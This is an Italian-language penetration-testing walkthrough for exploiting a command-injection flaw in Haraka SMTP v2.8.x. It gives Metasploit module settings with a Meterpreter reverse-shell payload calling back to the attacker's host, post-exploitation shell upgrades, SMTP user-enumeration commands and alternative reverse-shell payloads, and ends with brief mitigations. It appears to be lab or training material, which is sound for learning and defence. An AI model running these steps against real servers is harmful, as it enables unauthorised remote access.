Exploiting a Vulnerable SMTP Server (Haraka v2.8.x)
Haraka è un server SMTP open-source basato su Node.js, spesso utilizzato in ambienti di sviluppo o per applicazioni che richiedono un mail server veloce e flessibile. Nella versione v2.8.x, è presente
Exploiting a Vulnerable SMTP Server (Haraka v2.8.x)
Overview
Haraka è un server SMTP open-source basato su Node.js, spesso utilizzato in ambienti di sviluppo o per applicazioni che richiedono un mail server veloce e flessibile. Nella versione v2.8.x, è presente una vulnerabilità di command injection, che può essere sfruttata per ottenere una shell sulla macchina bersaglio.
Informazioni sulla Vulnerabilità
- Componente vulnerabile: Haraka SMTP Server
- Versioni affette: 2.8.x (specificamente vulnerabile)
- Tipo di vulnerabilità: Command Injection
- Vector: Email Header (generalmente
RCPT TO:o altri campi manipolabili)
Metasploit Module
Metasploit Framework fornisce un modulo dedicato per questa vulnerabilità:
exploit/linux/smtp/harakaConfigurazione del Modulo
Di seguito i parametri da configurare all'interno del modulo:
use exploit/linux/smtp/haraka
set RHOSTS <IP_TARGET>
set SRVPORT <porta_da_usare_per_il_callback>
set EMAIL_TO <indirizzo_email_valido_o_fake>
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <IP_TUO_ATTACK_BOX>
set LPORT <PORTA_DI_LISTENING>
runEsecuzione dell'Exploit
1. Verificare che il server Haraka sia in esecuzione sulla porta SMTP (di default 25). 2. Eseguire il modulo con le opportune variabili settate. 3. Una volta avviato, il server SMTP processerà l'input manipolato, attivando la vulnerabilità e permettendo al payload di essere eseguito.
Note Importanti:
- È consigliabile eseguire prima uno scan di banner o un SMTP enumeration per confermare la versione esatta del server.
- Assicurarsi che le regole di firewall non blocchino la porta in uscita del reverse shell (LPORT).
Post-Exploitation
Una volta ottenuta la shell, è possibile convertirla in una sessione Meterpreter tramite:
sessions -u <ID>oppure usare il modulo:
use post/multi/manage/shell_to_meterpreterApprofondimenti Aggiuntivi
- SMTP Enumeration:
nmap -p 25 --script smtp-enum-users
- smtp-user-enum -M VRFY -U userlist.txt -t
- Raccolta Informazioni Previa:
telnet 25 o nc per interagire direttamente e osservare la risposta del banner
- Alternative di Payload:
cmd/unix/reverse per un accesso più leggero
- linux/x64/shell_reverse_tcp per sistemi a 64bit
Mitigazioni
- Aggiornare Haraka all'ultima versione stabile.
- Implementare filtri e validazioni sui campi email.
- Limitare l'accesso alle porte SMTP solo a fonti fidate.
- Utilizzare IDS/IPS per intercettare attività anomale su SMTP.
Conclusioni
Questa vulnerabilità dimostra come un servizio apparentemente semplice come un server SMTP possa diventare un vettore di compromissione completo se non adeguatamente protetto. L'utilizzo di Metasploit semplifica l'exploitation, ma è fondamentale comprendere anche la meccanica sottostante per eventuali contesti dove l'automazione non sia sufficiente.